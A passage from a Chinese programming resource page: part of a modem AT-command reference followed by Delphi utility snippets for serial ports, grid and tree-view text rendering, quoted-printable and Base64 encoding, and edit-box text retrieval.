范围： n = 0-29、31-33、35、37 和 89

注：数值以十进制格式报告。要说明位映象寄存器值，将十进制值转换为

二进制。

T 音频拨号。T 将拨号方式设置为音频，所有呼叫将保持音频方式，直到选用

脉冲方式(P 命令)。此命令也可作为拨号修改程序使用。

(请参阅本章后面的表格 3-4: 拨号命令修改程序。)参数：无

Vn 结果代码格式选项。Vn 决定结果代码的类型。参数： n = 0、1

n = 0 结果代码以数字形式发送(短格式或数字)

n = 1 结果代码以单词形式发送(长格式[文本]或冗余格式)(默认值)

Xn 结果代码设置/呼叫进度选项。Xn 选择结果代码集和拨号功能。Vn 命令决定

结果代码是以单词还是以数字形式发送。请参阅附录中的结果代码定义。

参数： n = 0-7 (视调制解调器的型号而定)

n = 0 启用连接(CONNECT)结果代码，禁用 CONNECT XXXX 结果代码。

不检测占用信号和拨号音频。

n = 1 调制解调器进入盲拨号状态，启用 CONNECT XXXX 结果代码。

不检测占用信号和拨号音频。

n = 2 调制解调器在拨号前等待拨号音频，启用 CONNECT XXXX 结果代

码。不检测占用信号。

n = 3 调制解调器进入盲拨号状态，启用 CONNECT XXXX 结果代码。

如果检测到占用信号，调制解调器发出占用(BUSY)结果代码。

n = 4 调制解调器在拨号前等待拨号音频，启用 CONNECT XXXX 结果代

码。如果检测到占用信号,调制解调器发出占用(BUSY)结果代码(默认值)。

Z 重置命令选项。Z 将命令和 S 寄存器的参数和命令序列重新设置为默认值，

即恢复工厂设置。

+++退出代码序列。寄存器 S2 中的字符集 以极快的速度连续三次发送给调制解

调器(参阅 S12)，调制解调器暂时退回到命令方式。退出字符的默认值为+，

说明文件中如果指明要输入 +++，迅速连续三次输入寄存器 S2 中的字符。

退出代码序列不要以 AT 开头，输完后也不要按 Enter 键。

注：要返回联机方式 ，请使用 ATO 命令。

? S 寄存器内容。AT? 返回上次寻址的 S 寄存器的内容。

表 3-2: 高级功能命令

命令 说明

&Cn 数据载波检测选项。AT&Cn 控制 DCD 选项。参数： n = 0、1

n=0 DCD总处于打开(ON)状态；来自远程调制解调器的数据载波状态被忽略。

n=1 检测到数据载波时 DCD 打开(ON)；未检测到数据载波时

DCD关闭(OFF)(默认值)。

&Dn 数据终端就绪选项。AT&Dn 控制 DTR 选项。参数： n = 0、1、2、3

n=0 调制解调器忽略 DTR (默认值)。

n=1 调制解调器检测到 DTR 由打开向关闭转换时，进入命令方式。

n=2 调制解调器挂断，进入命令方式，并在检测到 DTR 由打开关闭转

换时禁用自动应答。

n=3 调制解调器在检测到 DTR 由打开向关闭转换时，进入初始化状态。

&Mn 异步通信方式。参数： n = 0

n=0 异步方式

&Qn 异步通信方式。参数： n= 0、5、6

n=0 异步方式

n=5 错误控制方式(默认值)

n=6 异步方式

&Tn 测试命令选择。AT&Tn 选择 8 条测试命令中的一条。参数： n = 0、1

n=0 终止任何进行中的测试。

n=1 初始化本地模拟环回(ALB) 。如果正在进行呼叫，将返回一条

错误信息。

-Cn 数据呼叫音频。数据呼叫音是一种频率 为 1300Hz 的音频。其步调为 0.5

秒打开，2 秒关闭。该音频在 ITUV.25 中指定为允许判定远程数据/传真/

音频。参数： n = 0、1

n=0 禁用数据呼叫音频(默认值)

n=1 启用数据呼叫音频

注：默认值随国家的不同而改变。

表 3-3: 传真(AT+F)命令(略)

表 3-4：拨号命令修改程序

修改程序 说明

L 重拨上次的号码。L 命令调制解调器重拨自开机后所拨的最后一个号码。

这应是 ATD 后的第一条命令；否则调制解调器将忽略该字符。

P 脉冲拨号。P 命令调制解调器使用脉冲拨号，直到选用音频拨号(T)为止。

脉冲的拨号/间隔比率由 &P 命令选择。注：某些国家可能不设脉冲拨号。

在那种情况下，P 命令将被忽略。

T 音频拨号。T 命令调制解调器使用音频拨号，直到选用脉冲拨号(P)为止，

音频的持续和间隔时间由寄存器 S11 设置。

W 等待拨号音频。W 使调制解调器暂停，直到检测到第二次拨号音频，检测到

拨号音频后，即立即开始拨电话号码。在通过PBX 拨号或使用某些长途电话

服务的情况下，这可能会相当有用。最长等待时间在寄存器 S7 中设置。

; (分号) 返回命令方式。分号(;)强制调制解调器在拨号后联络不断开的情况

下保持在命令方式。分号必须放在拨号命令的结尾。

@ (在字符) 等待静噪应答命令。@字符使调制解调器在处理拨号串的下一个符号

前在静噪数秒后寻找响铃。S7 寄存器决定最长等待时间。如果检测

到静噪应答， 将执行此命令后的拨号修改程序。如果检测到占用信

号,调制解调器返回占用(BUSY)结果代码并进入挂断过程，同时中止

命令的进一步执行。

! (感叹号) 快速挂机摘机命令。感叹号(!)使调制解调器处于挂机状态0.5 秒，

然后返回摘机状态，某些 PBX 系统用此命令来访问诸如呼叫转传和

呼叫转送等特殊功能。

,(逗号) 拨号期间暂停。逗号(,)使调制解调器在拨号期间暂停一段指定时间

,

持续时间由寄存器 S8 设置。

^ (脱字号) 禁用数据呼叫音频传输。此命令仅对当前呼叫有效。

0 到 9 拨号数字。脉冲或音频拨号的有效数字。

A、B、C、D、#、* 拨号字符。仅为音频拨号的有效字符。A、B、C 和 D 是双

音频多频率(DTMF) 系统中加在 369# 键右边的四个键。

注：在禁用这些字符的国家，它们将被忽略。

注：电话号码(拨号串)输入时可带或不带空格或其它标点符号。T和 P 修改命令

可出现在拨号串的任何地方；因此，如果您所在的国家允许使用此功能，信号发

送方法可能会在传送了几个数字后发生改变。

附件>>>>> at命令.rar


串口列表
系统里面有哪些串口？

get names of available comm ports?

{

Show the names of available comm ports (com1, com2, ...)

Used registry key: hkey_local_machine

}

uses

Registry;

procedure TForm1.Button1Click(Sender: TObject);

var

reg: TRegistry;

st: Tstrings;

i: Integer;

begin

reg := TRegistry.Create;

try

reg.RootKey := HKEY_LOCAL_MACHINE;

reg.OpenKey('hardware', False);

st := TstringList.Create;

try

reg.GetValueNames(st);

for i := 0 to st.Count - 1 do

Memo1.Lines.Add(reg.Readstring(st.strings[i]));

finally

st.Free;

end;

reg.CloseKey;

finally

reg.Free;

end;

end;


端口是否有效
function ComPortAvailable(Port: PChar): Boolean;

var

DeviceName: array[0..80] of Char;

ComFile: THandle;

begin

StrPCopy(DeviceName, Port);

ComFile := CreateFile(DeviceName, GENERIC_READ or GENERIC_WRITE, 0, nil,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL, 0);

Result := ComFile <> INVALID_HANDLE_VALUE;

CloseHandle(ComFile);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if ComPortAvailable('COM1:') then

ShowMessage('Port available')

else

ShowMessage('Port not available');

end;


数据网格转换成国标网格
(*//

标题:数据网格转换成国标网格

说明:支持对齐方式、列线、行线、标题

设计:Zswang

日期:2002-03-14

支持:wjhu111@21cn.com

//*)

///////Begin Source

uses

StrUtils, Math;

type

TThickness = -1..+1;

const

cGBGridList: array[TThickness, TThickness, TThickness, TThickness] of WideString =

((

(('┼', '├', '┽'), ('┴', '└', '┵'), ('╁', '┟', '╅')),

(('┤', '│', '┥'), ('┘', '↑', '┙'), ('┧', '︾', '┪')),

(('┾', '┝', '┿'), ('┶', '┕', '┷'), ('╆', '┢', '╈'))),

(

(('┬', '┌', '┭'), ('─', '→', '《'), ('┰', '┎', '┱')),

(('┐', '↓', '┑'), ('←', '　', '＜'), ('┒', '∨', '┓')),

(('┮', '┍', '┯'), ('》', '＞', '━'), ('┲', '┏', '┳'))),

(

(('╀', '┞', '╃'), ('┸', '┖', '┹'), ('╂', '┠', '╉')),

(('┦', '︽', '┩'), ('┚', '∧', '┛'), ('┨', '┃', '┫')),

(('╄', '┡', '╇'), ('┺', '┗', '┻'), ('╊', '┣', '╋'))));

function Iif(mBool: Boolean; mDataA, mDataB: Variant): Variant;

begin

if mBool then

Result := mDataA

else Result := mDataB;

end; { Iif }

function StringAlign(mStr: string; mLength: Integer;

mAlignment: TAlignment; mBackChar: Char = #32): string;

var

L: Integer;

T: string;

begin

Result := mStr;

L := Length(mStr);

if L >= mLength then Exit;

T := DupeString(mBackChar, mLength - L);

case mAlignment of

taLeftJustify: Result := Result + T;

taRightJustify: Result := T + Result;

taCenter: begin

L := Length(T) div 2;

Result := Copy(T, 1, L) + Result + Copy(T, L + 1, MaxInt);

end;

end;

end; { StringAlign }

function DBGridToGBGrid(mDBGrid: TDBGrid; mStrings: TStrings;

mStat: Boolean; mBackChar: Char = #32): Boolean;

var

vHead, vBody, vBottom, T: WideString;

vMaxWidths: array of Integer;

vColumnCount: Integer;

vBookmark: string;

I, J: Integer;

V: TThickness;

begin

Result := False;

if not Assigned(mStrings) then Exit;

if not Assigned(mDBGrid) then Exit;

if not Assigned(mDBGrid.DataSource) then Exit;

if not Assigned(mDBGrid.DataSource.DataSet) then Exit;

if not mDBGrid.DataSource.DataSet.Active then Exit;

V := Iif(dgColLines in mDBGrid.Options, -1, 00);

vBookmark := mDBGrid.DataSource.DataSet.Bookmark;

mDBGrid.DataSource.DataSet.DisableControls;

try

vColumnCount := 0;

for I := 0 to mDBGrid.Columns.Count - 1 do

if mDBGrid.Columns[I].Visible then begin

Inc(vColumnCount);

SetLength(vMaxWidths, vColumnCount);

if dgTitles in mDBGrid.Options then

vMaxWidths[vColumnCount - 1] := Length(mDBGrid.Columns[I].Title.Caption)

else vMaxWidths[vColumnCount - 1] := 0;

if Odd(vMaxWidths[vColumnCount - 1]) then

Inc(vMaxWidths[vColumnCount - 1]);

end;

if vColumnCount <= 0 then Exit;

mStrings.Clear;

mDBGrid.DataSource.DataSet.First;

while not mDBGrid.DataSource.DataSet.Eof do begin

J := 0;

for I := 0 to mDBGrid.Columns.Count do

if mDBGrid.Columns[I].Visible then begin

vMaxWidths[J] := Max(vMaxWidths[J],

Length(mDBGrid.Columns[I].Field.DisplayText));

if Odd(vMaxWidths[J]) then Inc(vMaxWidths[J]);

Inc(J);

if J >= vColumnCount then Break;

end;

mDBGrid.DataSource.DataSet.Next;

end;

if mStat then

vHead := cGBGridList[00, +1, 00, +1]

else vHead := cGBGridList[00, +1, +1, 00];

if mStat then

vBody := cGBGridList[00, -1, 00, -1]

else vBody := cGBGridList[+1, -1, +1, 00];

if mStat then

vBottom := cGBGridList[00, +1, 00, +1]

else vBottom := cGBGridList[+1, +1, 00, 00];

for I := 0 to vColumnCount - 1 do begin

vHead := vHead +

DupeString(cGBGridList[00, +1, 00, +1], vMaxWidths[I] div 2);

vBody := vBody +

DupeString(cGBGridList[00, -1, 00, -1], vMaxWidths[I] div 2);

vBottom := vBottom +

DupeString(cGBGridList[00, +1, 00, +1], vMaxWidths[I] div 2);

if I < vColumnCount - 1 then begin

vHead := vHead + cGBGridList[00, +1, V, +1];

vBody := vBody + cGBGridList[V, -1, V, -1];

vBottom := vBottom + cGBGridList[V, +1, 00, +1];

end;

end;

if mStat then

vHead := vHead + cGBGridList[00, +1, 00, +1]

else vHead := vHead + cGBGridList[00, 00, +1, +1];

if mStat then

vBody := vBody + cGBGridList[00, -1, 00, -1]

else vBody := vBody + cGBGridList[+1, 00, +1, -1];

if mStat then

vBottom := vBottom + cGBGridList[00, +1, 00, +1]

else vBottom := vBottom + cGBGridList[+1, 00, 00, +1];

mStrings.Add(vHead);

if dgTitles in mDBGrid.Options then begin

if mStat then

T := cGBGridList[00, 00, 00, 00]

else T := cGBGridList[+1, 00, +1, 00];

J := 0;

for I := 0 to mDBGrid.Columns.Count - 1 do

if mDBGrid.Columns[I].Visible then begin

T := T + StringAlign(mDBGrid.Columns[I].Title.Caption, vMaxWidths[J],

mDBGrid.Columns[I].Alignment, mBackChar);

Inc(J);

if J >= vColumnCount then Break;

T := T + cGBGridList[V, 00, V, 00];

end;

if mStat then

T := T + cGBGridList[00, 00, 00, 00]

else T := T + cGBGridList[+1, 00, +1, 00];

mStrings.Add(T);

mStrings.Add(vBody);

end;

mDBGrid.DataSource.DataSet.First;

while not mDBGrid.DataSource.DataSet.Eof do begin

if (dgRowLines in mDBGrid.Options) and (not mDBGrid.DataSource.DataSet.Bof) then

mStrings.Add(vBody);

if mStat then

T := cGBGridList[00, 00, 00, 00]

else T := cGBGridList[+1, 00, +1, 00];

J := 0;

for I := 0 to mDBGrid.Columns.Count - 1 do

if mDBGrid.Columns[I].Visible then begin

T := T + StringAlign(mDBGrid.Columns[I].Field.DisplayText, vMaxWidths[J],

mDBGrid.Columns[I].Alignment, mBackChar);

Inc(J);

if J >= vColumnCount then Break;

T := T + cGBGridList[V, 00, V, 00];

end;

if mStat then

T := T + cGBGridList[00, 00, 00, 00]

else T := T + cGBGridList[+1, 00, +1, 00];

mStrings.Add(T);

mDBGrid.DataSource.DataSet.Next;

end;

mStrings.Add(vBottom);

finally

mDBGrid.DataSource.DataSet.Bookmark := vBookmark;

mDBGrid.DataSource.DataSet.EnableControls;

vMaxWidths := nil;

end;

Result := True;

end; { DBGridToGBGrid }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

DBGridToGBGrid(DBGrid1, Memo1.Lines, CheckBox1.Checked);

end;

procedure TForm1.MenuItemShowColLinesClick(Sender: TObject);

begin

if TMenuItem(Sender).Checked then begin

TMenuItem(Sender).Checked := False;

DBGrid1.Options := DBGrid1.Options - [dgColLines];

end else begin

TMenuItem(Sender).Checked := True;

DBGrid1.Options := DBGrid1.Options + [dgColLines];

end;

end;

procedure TForm1.MenuItemShowRowLinesClick(Sender: TObject);

begin

if TMenuItem(Sender).Checked then begin

TMenuItem(Sender).Checked := False;

DBGrid1.Options := DBGrid1.Options - [dgRowLines];

end else begin

TMenuItem(Sender).Checked := True;

DBGrid1.Options := DBGrid1.Options + [dgRowLines];

end;

end;

procedure TForm1.MenuItemShowTitlesClick(Sender: TObject);

begin

if TMenuItem(Sender).Checked then begin

TMenuItem(Sender).Checked := False;

DBGrid1.Options := DBGrid1.Options - [dgTitles];

end else begin

TMenuItem(Sender).Checked := True;

DBGrid1.Options := DBGrid1.Options + [dgTitles];

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

ADOTable1.Open;

MenuItemShowColLines.Checked := dgColLines in DBGrid1.Options;

MenuItemShowRowLines.Checked := dgRowLines in DBGrid1.Options;

MenuItemShowTitles.Checked := dgTitles in DBGrid1.Options;

end;

///////End Demo


可视树转换成连线文本
(*//

标题:可视树转换成连线文本

说明:使用中文制表符构成连线;支持纵横粗细选择

设计:Zswang

日期:2002-03-12

支持:wjhu111@21cn.com

//*)

///////Begin Source

type

TThickness = -1..+1;

const

cGBGridList: array[TThickness, TThickness, TThickness, TThickness] of WideString =

((

(('┼', '├', '┽'), ('┴', '└', '┵'), ('╁', '┟', '╅')),

(('┤', '│', '┥'), ('┘', '↑', '┙'), ('┧', '︾', '┪')),

(('┾', '┝', '┿'), ('┶', '┕', '┷'), ('╆', '┢', '╈'))),

(

(('┬', '┌', '┭'), ('─', '→', '《'), ('┰', '┎', '┱')),

(('┐', '↓', '┑'), ('←', '　', '＜'), ('┒', '∨', '┓')),

(('┮', '┍', '┯'), ('》', '＞', '━'), ('┲', '┏', '┳'))),

(

(('╀', '┞', '╃'), ('┸', '┖', '┹'), ('╂', '┠', '╉')),

(('┦', '︽', '┩'), ('┚', '∧', '┛'), ('┨', '┃', '┫')),

(('╄', '┡', '╇'), ('┺', '┗', '┻'), ('╊', '┣', '╋'))));

function TreeViewToDisplay(mTreeView: TTreeView; mStrings: TStrings;

mHBold: Boolean = True; mVBold: Boolean = True): Boolean;

{ 将可视树转换成可视方式 }

var

I, J: Integer;

T, S: string;

H, V: Integer;

vTreeNode: TTreeNode;

begin

Result := False;

if not Assigned(mTreeView) then Exit;

if not Assigned(mStrings) then Exit;

mStrings.Clear;

H := Iif(mHBold, +1, -1);

V := Iif(mVBold, +1, -1);

J := 0;

with mTreeView do try

for I := 0 to Pred(Items.Count) do begin

if J > Items[I].Level then

T := Copy(T, 1, Length(T) - (J - Items[I].Level) * 2)

else if J < Items[I].Level then T := T + S;

vTreeNode := Items[I].GetNextSibling;

if not Assigned(vTreeNode) then begin

mStrings.Add(T + cGBGridList[V, H, 00, 00] + Items[I].Text);

S := cGBGridList[00, 00, 00, 00];

end else begin

mStrings.Add(T + cGBGridList[V, H, V, 00] + Items[I].Text);

S := cGBGridList[V, 00, V, 00];

end;

J := Items[I].Level;

end;

except

Exit;

end;

Result := True;

end; { TreeViewToDisplay }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

TreeViewToDisplay(TreeView1, Memo1.Lines, CheckBox1.Checked, CheckBox2.Checked);

end;

///////End Demo


变量内存形式
(*//

标题:变量内存形式

说明:适用于位操作调试

设计:Zswang

日期:2002-03-07

支持:wjhu111@21cn.com

//*)

///////Begin Source

function BufferToDisplay(const mBuffer; mSize: Integer): string;

var

I: Integer;

begin

Result := '';

for I := 0 to mSize - 1 do try

Result := Result + IntToHex(TByteArray(mBuffer)[I], 2);

except

Result := '';

Exit;

end;

end; { BufferToDisplay }

function DisplayToBuffer(mDisplay: string; var mBuffer; mSize: Integer): Boolean;

var

I: Integer;

begin

Result := False;

for I := 0 to mSize - 1 do try

TByteArray(mBuffer)[I] := StrToIntDef('$' + Copy(mDisplay, I * 2 + 1, 2), 0);

except

Exit;

end;

Result := True;

end; { DisplayToBuffer }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

var

I: Integer;

begin

I := StrToIntDef(Edit1.Text, 0);

Edit2.Text := BufferToDisplay(I, SizeOf(I));

end;

procedure TForm1.Button2Click(Sender: TObject);

var

I: Integer;

begin

DisplayToBuffer(Edit2.Text, I, SizeOf(I));

Edit1.Text := IntToStr(I);

end;

///////End Demo


数据网格自动适应宽度
(*//

标题:数据网格自动适应宽度

说明:使用DBGrid不可不看

设计:Zswang

日期:2002-03-04

支持:wjhu111@21cn.com

//*)

///////Begin Source

uses

Math;

function DBGridRecordSize(mColumn: TColumn): Boolean;

{ 返回记录数据网格列显示最大宽度是否成功 }

begin

Result := False;

if not Assigned(mColumn.Field) then Exit;

mColumn.Field.Tag := Max(mColumn.Field.Tag,

TDBGrid(mColumn.Grid).Canvas.TextWidth(mColumn.Field.DisplayText));

Result := True;

end; { DBGridRecordSize }

function DBGridAutoSize(mDBGrid: TDBGrid; mOffset: Integer = 5): Boolean;

{ 返回数据网格自动适应宽度是否成功 }

var

I: Integer;

begin

Result := False;

if not Assigned(mDBGrid) then Exit;

if not Assigned(mDBGrid.DataSource) then Exit;

if not Assigned(mDBGrid.DataSource.DataSet) then Exit;

if not mDBGrid.DataSource.DataSet.Active then Exit;

for I := 0 to mDBGrid.Columns.Count - 1 do begin

if not mDBGrid.Columns[I].Visible then Continue;

if Assigned(mDBGrid.Columns[I].Field) then

mDBGrid.Columns[I].Width := Max(mDBGrid.Columns[I].Field.Tag,

mDBGrid.Canvas.TextWidth(mDBGrid.Columns[I].Title.Caption)) + mOffset

else mDBGrid.Columns[I].Width :=

mDBGrid.Canvas.TextWidth(mDBGrid.Columns[I].Title.Caption) + mOffset;

mDBGrid.Refresh;

end;

Result := True;

end; { DBGridAutoSize }

///////End Source

///////Begin Demo

procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject; const Rect: TRect;

DataCol: Integer; Column: TColumn; State: TGridDrawState);

begin

DBGridRecordSize(Column);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

DBGridAutoSize(DBGrid1);

end;

///////End Demo


判断ADO数据集是否还有数据没有提交
(*//

标题:判断ADO数据集是否还有数据没有提交

说明:等待升级

设计:3fly

整理:Zswang

日期:2002-03-03

支持:wjhu111@21cn.com

//*)

///////Begin Source

function CacheNotSave(mDataSet: TCustomADODataSet): Boolean;

{ 返回ADO数据集是否还有数据没有提交 }

var

vFiltered: Boolean;

vFilterGroup: TFilterGroup;

vBookmark: string;

begin

Result := False;

if not mDataSet.Active then Exit;

if mDataSet.LockType <> ltBatchOptimistic then Exit;

vBookmark := mDataSet.Bookmark;

mDataSet.DisableControls;

try

vFiltered := mDataSet.Filtered;

vFilterGroup := mDataSet.FilterGroup;

try

mDataSet.Filtered := True;

mDataSet.FilterGroup := fgPendingRecords;

Result := mDataSet.RecordCount > 0;

finally

mDataSet.Filtered := vFiltered;

mDataSet.FilterGroup := vFilterGroup;

end;

finally

mDataSet.Bookmark := vBookmark;

mDataSet.EnableControls;

end;

end; { CacheNotSave }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

ADOTable1.UpdateBatch;

CheckBox1.Checked := CacheNotSave(ADOTable1);

//ActionUpdateBatch.Enabled := CacheNotSave(ADOTable1);

end;

procedure TForm1.ADOTable1AfterCancel(DataSet: TDataSet);

begin

CheckBox1.Checked := CacheNotSave(TCustomADODataSet(DataSet));

end;

procedure TForm1.ADOTable1AfterPost(DataSet: TDataSet);

begin

CheckBox1.Checked := CacheNotSave(TCustomADODataSet(DataSet));

end;

procedure TForm1.ADOTable1AfterDelete(DataSet: TDataSet);

begin

CheckBox1.Checked := CacheNotSave(TCustomADODataSet(DataSet));

end;

procedure TForm1.ADOTable1AfterOpen(DataSet: TDataSet);

begin

CheckBox1.Checked := CacheNotSave(TCustomADODataSet(DataSet));

end;

///////End Demo


获取邻近控件
(*//

标题:获取邻近控件

说明:示例光标键控制焦点

设计:Zswang

日期:2002-02-22

支持:wjhu111@21cn.com

//*)

///////Begin Source

function RectCenter(mRect: TRect): TPoint; { 返回矩形的中心坐标 }

begin

Result.X := mRect.Left + (mRect.Right - mRect.Left) div 2;

Result.Y := mRect.Top + (mRect.Bottom - mRect.Top) div 2;

end; { RectCenter }

function Distance(mPointA, mPointB: TPoint): Real; { 返回两点间的距离 }

begin

Result := Sqrt(Sqr(mPointA.X - mPointB.X) + Sqr(mPointA.Y - mPointB.Y));

end; { Distance }

function NearControl(mControl: TControl; mAnchorKind: TAnchorKind): TControl;

{ 返回邻近控件 }

var

I: Integer;

P0, P1: TPoint;

W0, W1: Integer;

K1, KT: Real;

begin

Result := nil;

if not Assigned(mControl) then Exit;

if not Assigned(mControl.Parent) then Exit;

P0 := RectCenter(mControl.BoundsRect);

case mAnchorKind of

akLeft, akRight: W0 := mControl.Height;

else W0 := mControl.Width;

end;

KT := 0;

W1 := 0;

with mControl.Parent do try

for I := 0 to ControlCount - 1 do begin

if Controls[I] = mControl then Continue;

P1 := RectCenter(Controls[I].BoundsRect);

case mAnchorKind of

akLeft: begin

if P0.X <= P1.X then Continue;

if Abs(P0.Y - P1.Y) > (Controls[I].Height + W0) div 2 then Continue;

W1 := P0.X - P1.X;

end;

akRight: begin

if P0.X >= P1.X then Continue;

if Abs(P0.Y - P1.Y) > (Controls[I].Height + W0) div 2 then Continue;

W1 := P1.X - P0.X;

end;

akTop: begin

if P0.Y <= P1.Y then Continue;

if Abs(P0.X - P1.X) > (Controls[I].Width + W0) div 2 then Continue;

W1 := P0.Y - P1.Y;

end;

akBottom: begin

if P0.Y >= P1.Y then Continue;

if Abs(P0.X - P1.X) > (Controls[I].Width + W0) div 2 then Continue;

W1 := P1.Y - P0.Y;

end;

end;

K1 := Distance(P0, P1) * W1;

if Assigned(Result) and (K1 > KT) then Continue;

KT := K1;

Result := Controls[I];

end;

except

Result := nil;

end;

end; { NearControl }

///////End Source

///////Begin Demo

procedure TForm1.FormCreate(Sender: TObject);

begin

KeyPreview := True;

end;

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;

Shift: TShiftState);

var

vAnchorKind: TAnchorKind;

vControl: TControl;

begin

case Key of

VK_UP: vAnchorKind := akTop;

VK_DOWN: vAnchorKind := akBottom;

VK_LEFT: vAnchorKind := akLeft;

VK_RIGHT: vAnchorKind := akRight;

else Exit;

end;

vControl := NearControl(ActiveControl, vAnchorKind);

if Assigned(vControl) and (vControl is TWinControl) then

ActiveControl := TWinControl(vControl);

end;

///////End Demo


邮件解码之一
(*//

标题:邮件解码之一

说明:Quoted Printable

设计:Zswang

日期:2002-02-19

支持:wjhu111@21cn.com

//*)

///////Begin Source

function QuotedPrintableEncode(mSource: string): string;

var

I, J: Integer;

begin

Result := '';

J := 0;

for I := 1 to Length(mSource) do begin

if mSource[I] in [#32..#127, #13, #10] - ['='] then begin

Result := Result + mSource[I];

Inc(J);

end else begin

Result := Result + '=' + IntToHex(Ord(mSource[I]), 2);

Inc(J, 3);

end;

if mSource[I] in [#13, #10] then J := 0;

if J >= 70 then begin

Result := Result + #13#10;

J := 0;

end;

end;

end; { QuotedPrintableEncode }

function QuotedPrintableDecode(mCode: string): string;

var

I, J, L: Integer;

begin

Result := '';

J := 0;

mCode := AdjustLineBreaks(mCode);

L := Length(mCode);

I := 1;

while I <= L do begin

if mCode[I] = '=' then begin

Result := Result + Chr(StrToIntDef('$' + Copy(mCode, I + 1, 2), 0));

Inc(J, 3);

Inc(I, 3);

end else if mCode[I] in [#13, #10] then begin

if J < 70 then Result := Result + mCode[I];

if mCode[I] = #10 then J := 0;

Inc(I);

end else begin

Result := Result + mCode[I];

Inc(J);

Inc(I);

end;

end;

end; { QuotedPrintableDecode }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

Memo2.Text := QuotedPrintableEncode(Memo1.Text);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

Memo1.Text := QuotedPrintableDecode(Memo2.Text);

end;

///////End Demo


邮件解码之二
(*//

标题:邮件解码之二

说明:Base64

设计:Zswang

日期:2002-02-21

支持:wjhu111@21cn.com

//*)

///////Begin Source

const

cBase64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

function Base64Encode(mSource: string; mAddLine: Boolean = True): string;

var

I, J: Integer;

S: string;

begin

Result := '';

J := 0;

for I := 0 to Length(mSource) div 3 - 1 do begin

S := Copy(mSource, I * 3 + 1, 3);

Result := Result + cBase64[Ord(S[1]) shr 2 + 1];

Result := Result + cBase64[((Ord(S[1]) and $03) shl 4) + (Ord(S[2]) shr 4) + 1];

Result := Result + cBase64[((Ord(S[2]) and $0F) shl 2) + (Ord(S[3]) shr 6) + 1];

Result := Result + cBase64[Ord(S[3]) and $3F + 1];

if mAddLine then begin

Inc(J, 4);

if J >= 76 then begin

Result := Result + #13#10;

J := 0;

end;

end;

end;

I := Length(mSource) div 3;

S := Copy(mSource, I * 3 + 1, 3);

case Length(S) of

1: begin

Result := Result + cBase64[Ord(S[1]) shr 2 + 1];

Result := Result + cBase64[(Ord(S[1]) and $03) shl 4 + 1];

Result := Result + cBase64[65];

Result := Result + cBase64[65];

end;

2: begin

Result := Result + cBase64[Ord(S[1]) shr 2 + 1];

Result := Result + cBase64[((Ord(S[1]) and $03) shl 4) + (Ord(S[2]) shr 4) + 1];

Result := Result + cBase64[(Ord(S[2]) and $0F) shl 2 + 1];

Result := Result + cBase64[65];

end;

end;

end; { Base64Encode }

function Base64Decode(mCode: string): string;

var

I, L: Integer;

S: string;

begin

Result := '';

L := Length(mCode);

I := 1;

while I <= L do begin

if Pos(mCode[I], cBase64) > 0 then begin

S := Copy(mCode, I, 4);

if (Length(S) = 4) then begin

Result := Result + Chr((Pos(S[1], cBase64) - 1) shl 2 +

(Pos(S[2], cBase64) - 1) shr 4);

if S[3] <> cBase64[65] then begin

Result := Result + Chr(((Pos(S[2], cBase64) - 1) and $0F) shl 4 +

(Pos(S[3], cBase64) - 1) shr 2);

if S[4] <> cBase64[65] then

Result := Result + Chr(((Pos(S[3], cBase64) - 1) and $03) shl 6 +

(Pos(S[4], cBase64) - 1));

end;

end;

Inc(I, 4);

end else Inc(I);

end;

end; { Base64Decode }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

Memo2.Text := Base64Encode(Memo1.Text);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

Memo1.Text := Base64Decode(Memo2.Text);

end;

///////End Demo


获取编辑框中显示出来的字符
(*//

标题:获取编辑框中显示出来的字符

说明:Edit,Memo;比起屏幕取词差远了

设计:Zswang

日期:2002-02-20

支持:wjhu111@21cn.com

//*)

////////Begin Source

function EditVisibleText(mEdit: TEdit): string;

var

X, Y, L: Integer;

S: string;

begin

Result := '';

if not Assigned(mEdit) then Exit;

with mEdit do try

S := Text;

L := Length(S);

X := SendMessage(Handle, EM_CHARFROMPOS, 0, MAKELPARAM(2, 2));

X := X and $0000FFFF;

Y := SendMessage(Handle, EM_CHARFROMPOS, 0, MAKELPARAM(ClientWidth - 4, 2));

Y := Y and $0000FFFF;

for X := X to Y - 1 do if (Y >= 0) and (X < L) then

Result := Result + S[X + 1];

except

Result := '';

end;

end; { EditVisibleText }

function MemoVisibleText(mMemo: TMemo; mStrings: TStrings): Boolean;

var

I, X, Y: Integer;

L, H, W: Integer;

S: string;

T: string;

begin

Result := False;

if (not Assigned(mMemo)) or (not Assigned(mStrings)) then Exit;

with TControlCanvas.Create do try

Control := mMemo;

H := TextHeight('|');

finally

Free;

end;

mStrings.Clear;

with mMemo do try

S := Text;

L := Length(S);

W := ClientWidth;

for I := 0 to (ClientHeight div H) - 1 do begin

X := SendMessage(Handle, EM_CHARFROMPOS, 0, MAKELPARAM(3, I * H + 2));

X := X and $0000FFFF;

Y := SendMessage(Handle, EM_CHARFROMPOS, 0, MAKELPARAM(5, I * H + 2));

Y := Y and $0000FFFF;

if Abs(Y - X) > 1 then Inc(X);

if not ((X = 0) or ((X < L) and (S[X - 1] in [#13, #10]))) then Inc(X);

Y := SendMessage(Handle, EM_CHARFROMPOS, 0, MAKELPARAM(W - 2, I * H + 2));

Y := Y and $0000FFFF;

T := '';

for X := X to Y - 1 do if (Y >= 0) and (X < L) then

T := T + S[X + 1];

mStrings.Add(T);

end;

except

Exit;

end;

Result := True;

end; { MemoVisibleText }

////////End Source

////////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

MemoVisibleText(Memo1, Memo2.Lines);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

